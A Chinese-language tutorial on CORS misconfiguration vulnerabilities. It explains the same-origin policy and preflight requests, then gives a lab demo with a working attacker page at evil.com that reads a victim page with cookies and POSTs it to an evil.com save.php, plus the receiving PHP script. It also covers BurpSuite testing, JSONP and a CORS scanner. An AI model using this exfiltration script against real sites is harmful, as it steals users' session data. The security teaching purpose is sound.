CORS跨域漏洞学习

目录

前言

一、CORS及SOP简介

跨域访问的一些场景:

二、CORS跨域原理及漏洞成因

CORS跨域——简单请求的流程

CORS跨域——非简单请求的流程

三、CORS漏洞攻击流程

四、CORS漏洞演示

1、正常情况下访问www.evil.com/steal.html网页

2、去除www.vuln.com/secrect.php的注释

五、如何在平常测试中检查CORS跨域漏洞

六、JSONP的跨域

4.3 CORS结合XSS漏洞进行利用

4.4 关于CORS配置漏洞扫描


前言

CORS全称为Cross-Origin Resource Sharing即跨域资源共享,用于绕过SOP(同源策略)来实现跨域资源访问的一种技术。而CORS漏洞则是利用CORS技术窃取用户敏感数据。以往与CORS漏洞类似的JSONP劫持虽然已经出现了很多年,但由于部分厂商对此不够重视导致其仍在不断发展和扩散。

一、CORS及SOP简介

对CORS的介绍要从浏览器的同源策略开始说起,SOP全称为Same Origin Policy即同源策略,该策略是浏览器的一个安全基石,同源策略规定:不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源(这句话这样理解:在打开一个A网站的前提下,在A网站的页面内有点击进入B网站)。简单来说同源策略就是浏览器会阻止一个源与另一个源的资源交互。可以试想一下,如果没有同源策略,当你访问一个正常网站的时候又无意间打开了另一个恶意网站,恶意网站会从你刚刚访问的正常网站上窃取你全部的信息。

所谓同源是指域名,协议,端口相同。

当一个浏览器的两个tab页中分别打开百度和谷歌的页面时,当浏览器的百度tab页执行一个脚本的时候会检查这个脚本是属于哪个页面的,即检查是否同源,只有和百度同源的脚本才会被执行。而如果非同源,那么在请求数据时,浏览器会在控制台中报一个异常,提示拒绝访问。不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源。所以google.com下的js脚本采用ajax读取baidu.com里面的文件数据是会报错的。

如何判断是否是同源,可以查看该表:

SOP是一个很好的策略,在SOP被提出的时期,大家都默默地遵守着这个规定,但随着WEB应用的发展,有些网站由于自身业务的需求,需要实现一些跨域的功能能够让不同域的页面之间能够相互访问各自页面的内容。为了实现这个跨域需求,聪明的程序员想到了一种编码技术JSONP,该技术利用从客户端传入的json格式的返回值,在服务器端调用该接口处事先以定义函数的方式定义好json格式里参数值,并加载script标签调用该函数实现跨域。由此可见JSONP虽然好但他并非是在协议层面解决跨域问题,所以出现了很多安全问题。为了能更安全的进行跨域资源访问,CORS诞生了。CORS是H5提供的一种机制,WEB应用程序可以通过在HTTP报文中增加特定字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源。

CORS是H5提供的一种机制,WEB应用程序可以通过在HTTP报文中增加特定字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源。

跨域访问的一些场景:

1.比如后端开发完一部分业务代码后,提供接口给前端用,在前后端分离的模式下,前后端的域名是不一致的,此时就会发生跨域访问的问题。

2.程序员在本地做开发,本地的文件夹并不是在一个域下面,当一个文件需要发送ajax请求,请求另外一个页面的内容的时候,就会跨域。

3.电商网站想通过用户浏览器加载第三方快递网站的物流信息。

4.子站域名希望调用主站域名的用户资料接口,并将数据显示出来。

二、CORS跨域原理及漏洞成因

浏览器将CORS请求分成两类:简单请求(simple request)和非简单请求(not-so-simple request)。只要同时满足以下两个条件就属于简单请求否则属于非简单请求(主要通过请求方法进行判断):

  • 请求方法是(HEAD,GET,POST)三种之一;
  • HTTP的头信息不超出(Accept,Accept-Language,Content-Language,Lat-Event-ID,Content-Type)这几种字段。

CORS跨域——简单请求的流程

对于简单请求,大致流程是浏览器发现这一次向服务器提交的请求是简单请求,所以自动在头信息中增加了一个Origin的字段,用来表示这次的请求来自哪个域。当服务器接收到请求后发现Origin字段指定的域名在许可范围内,服务器会在响应包中增加三个与CORS相关的字段,Access-Control-Allow-Origin、Access-Control-Allow-Credentials、Access-Control-Expose-Headers。其中Access-Control-Allow-Origin字段是必须存在的,它的值可能是Origin字段的值或者是一个通配符“*”,表示可以接受任意域名的请求,当然大部分服务器如果配置了通配符的话,信息泄露的风险骤然加大。再回到三个字段上,其中Access-Control-Allow-Credentials字段不是必选字段,它的值是一个布尔值且只能设置为true,表示服务器允许浏览器将cookie包含在请求中,否则就不添加此字段。但需要注意的是,如果要发送cookie,Access-Control-Allow-Origin就不能设为星号,必须明确指定与请求网页一致的域名,同时Cookie依然遵循同源策略。而Access-Control-Expose-Headers字段主要是指定想要获取XMLHttpRequest对象中getResponseHeader()方法的其他服务器字段。

CORS跨域——非简单请求的流程

所谓非简单请求就是那种对服务器提出特殊要求的请求,例如请求方法为PUT或DELETE。非简单的CORS请求会在正式通信之前,增加一次HTTP查询请求,称之为“预检请求”。浏览器先询问服务器,当前网页所在的域名是否在服务器的许可名单里以及可以使用哪些HTTP动词和头信息字段。只有获得了肯定响应,浏览器才会正式发出XMLHttpRequest请求否则就报错。这种请求的好处是对传统的没有CORS支持的服务器减小压力,给服务器一个提前拒绝的机会。

具体流程如下,当构造请求包的方法是PUT或DELETE并传给浏览器时,浏览器发现此请求是非简单请求所以浏览器构造一个预检请求包,请求头是OPTIONS,并携带三个关键字段,Origin、Access-Control-Request-Method、Access-Control-Request-Headers。其中Access-Control-Request-Method表示浏览器的CORS请求会用到哪些HTTP方法,Access-Control-Request-Headers表示浏览器CORS请求会额外发送的头信息字段。服务器收到预检请求后,检查了三个核心字段以后如果确定允许跨域请求,会返回一个正常的HTTP回应,并携带传入的CORS头信息。。如果服务器否定请求,虽然也会返回一个正常的HTTP回应但是没有任何CORS相关的头信息字段,或明确表示请求不符合条件。浏览器根据预请求的返回结果决定接下来是进行简单请求还是拒绝请求。

CORS使用检查请求头的相关字段和服务端的规则进行对比,来选择是否允许跨域。但凡是需要配置规则的程序,避免不了会出现一些意外,就像很多资深程序员有时也会写不出恰当的正则一样,当服务端配置的规则不够合理,导致非同域的资源可以互相访问,例如Access-Control-Allow-Origin: *。CORS反而使同源策略的保护机制土崩瓦解。因此,CORS漏洞的成因很明显,就是服务端配置的规则不当所导致的

三、CORS漏洞攻击流程

(1)假设用户登陆一个含有CORS配置网站vuln.com,同时又访问了攻击者提供的一个链接evil.com。

(2)evil.com的网站向vuln.com这个网站发起请求获取敏感数据,浏览器能否接收信息取决于vuln.com的配置。

(3)如果vuln.com配置了Access-Control-Allow-Origin头且为预期,那么允许接收,否则浏览器会因为同源策略而不接收。

四、CORS漏洞演示

这次实验我是在Win7系统里面安装phpstudy中进行演示的,关于域名的配置可以参考:详细讲解:通过phpstudy 设置站点域名、站点域名管理 。可以配置不同的域名后进行一下实验的,具体不走这里就不进行演示了的。

我们知道cookie设置httponly属性后,没办法被js读取,但是在同路径下的phpinfo页面有记录这个值,我们把phpinfo页面当成是www.vlun.com上的用户信息。思路是:模拟用户登陆www.vuln.com/login.php,接着访问www.vuln.com/secrect.php,就可以得到该cookie值了。

www.vuln.com/login.php

<?php
//假设此页面需要登录后才能访问
setcookie("SESSIONid","THISISSESSID20180802",time()+3600,"","",0);  //设置普通Cookie
setcookie("test_http","THISISSESSIDhttponly20180802",time()+3600,"","",0,1);//设置HttpOnly Cookie

?>

www.vuln.com/secrect.php,现在前两行代码是注释掉的。

<? php
//header("Access-Control-Allow-Origin:http://www.evil.com");
//header("Access-Control-Allow-Credentials:true");
phpinfo();
?>

在访问login.php后再次访问secrect.php就可以在phpinfo页面发现httponly的COOKIE,在这里我们假设此cookie就是黑客想要获取的敏感信息。

然后构造黑客发生送给用户的恶意页面:www.evil.com/steal.html

<!DOCTYPE>
<html>
<h1>Hello I evil page. </h1>
<script type="text/javascript">
function loadXMLDoc()
{
   var xhr1;
   var xhr2;
   if(window.XMLHttpRequest)
   {
       xhr1 = new XMLHttpRequest();
       xhr2 = new XMLHttpRequest();
   }
   else
   {
       xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
       xhr2= new ActiveXObject("Microsoft.XMLHTTP");
   }
   xhr1.onreadystatechange=function()
   {
       if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
       {
           var datas=xhr1.responseText;
           xhr2.open("POST","http://www.evil.com/save.php","true");
           xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
           xhr2.send("T1="+escape(datas));      
       }
   }
   xhr1.open("GET","http://www.vuln.com/secrect.php","true") //request user page.
   xhr1.withCredentials = true;        //request with cookie
   xhr1.send();
}
loadXMLDoc();
</script>
</html>

www.evil.com/save.php

<?php
$myfile = fopen("secrect.html", "w+") or die("Unable to open file!");
$txt = $_POST['T1'];
fwrite($myfile, $txt);
fclose($myfile);
?>

1、正常情况下访问www.evil.com/steal.html网页

由于请求是从www.evil.com发出的,通过AJAX请求www.vuln.com的资源,所以,浏览器自动为我们加上了Origin这个字段。

通过抓包,我们可以发现,www.vuln.com/secrect.php这个请求其实是有返回内容的。

但是到了浏览器这边,却没有继续请求将返回的内容发送到www.evil.com/save.php,是因为浏览器拦截了该请求,提示没有CORS的头Access-Control-Allow-Origin。

2、去除www.vuln.com/secrect.php的注释

<? php
header("Access-Control-Allow-Origin:http://www.evil.com");
header("Access-Control-Allow-Credentials:true");
phpinfo();
?>

接着重新访问www.evil.com/steal.html

抓包发现请求www.vuln.com/secrect.php发现了对应的响应头。Access-Control-Allow-Origin指是允许访问的源,Access-Control-Allow-Credentials指的是允许带上cookie访问资源。这样浏览器就不会出错而拦截请求了,我们的脚本把页面编码后发送到www.evil.com/save.php去。

到www.evil.com这个站,发现生成了一个secrect.html文件,发现里面有httponly的cookie,漏洞利用成功。

接着访问secrect.html文件,发现里面有httponly的cookie,漏洞利用成功。

五、如何在平常测试中检查CORS跨域漏洞

CORS的漏洞主要看当我们发起的请求中带有Origin头部字段时,服务器的返回包带有CORS的相关字段并且允许Origin的域访问。

一般测试WEB漏洞都会用上BurpSuite,而BurpSuite可以实现帮助我们检测这个漏洞。

首先是自动在HTTP请求包中加上Origin的头部字段,打开BurpSuite,选择Proxy模块中的Options选项,找到Match and Replace这一栏,勾选Request header 将空替换为Origin:foo.example.org的Enable框。

 

然后我们就可以开始去访问我们认为有漏洞的网站,访问足够多后在BurpSuite的Proxy模块下的HTTP history来筛选带有CORS头部的值。

我们的条件可以是如下:

Access-Control-Allow-Origin: foo.example.org
Access-Control-Allow-Credentials: true

这里要注意的是,我们也可以测试下带有Access-Control-Allow-Origin: * 字段的网站是否有CORS漏洞,但是如果是如下组合,则没有漏洞,因为浏览器已经会阻止如下的配置。

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

六、JSONP的跨域

JSONP是一种简单的服务器与客户端跨域通信的办法,此种跨域只能发起GET请求。其基本思想是网页通过添加一个script元素,向服务器请求JSON数据,这种做法不受同源策略限制。服务器收到请求后,将数据放在一个指定名字的回调函数里传回来。

function addScriptTag(src) {
 var script = document.createElement('script');
 script.setAttribute("type","text/javascript");
 script.src = src;
 document.body.appendChild(script);
}

window.onload = function () {
 addScriptTag('http://example.com/ip?callback=foo');
}
function foo(data) {
 console.log('Your public IP address is: ' + data.ip);
}

所以经常会去通过搜索语法inurl:?callback=来去检测一波含有跨域的网站。

4.3 CORS结合XSS漏洞进行利用

有时候CORS配置了信任自身的任意子域,那么如果一个子域存在XSS漏洞就可以通过这个漏洞去读取其他子域的资源,类似的场景还有比如HTTPS域信任HTTP域等。

4.4 关于CORS配置漏洞扫描

github上提供了一个关于扫描CORS配置漏洞的脚本,https://github.com/chenjj/CORScanner。

root@kali:~/Desktop/CORScanner# python cors_scan.py -h
usage: cors_scan.py [-h] [-u URL] [-i INPUT] [-t THREADS] [-o OUTPUT]
                   [-v [VERBOSE]] [-d [HEADERS [HEADERS ...]]]

OPTIONS:
 -h, --help            show this help message and exit
 -u URL, --url URL     URL/domain to check it's CORS policy
 -i INPUT, --input INPUT
                       URL/domain list file to check their CORS policy
 -t THREADS, --threads THREADS
                       Number of threads to use for CORS scan
 -o OUTPUT, --output OUTPUT
                       Save the results to text file
 -v [VERBOSE], --verbose [VERBOSE]
                       Enable Verbosity and display results in realtime
 -d [HEADERS [HEADERS ...]], --headers [HEADERS [HEADERS ...]]
                       Add headers to the request.

Example: python cors_scan.py -u google.com

我们将检测的域名写在一个记事本里,然后使用-i参数去进行批量扫描。

友情链接:

CORS跨域漏洞的学习

CORS跨域漏洞来了?

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值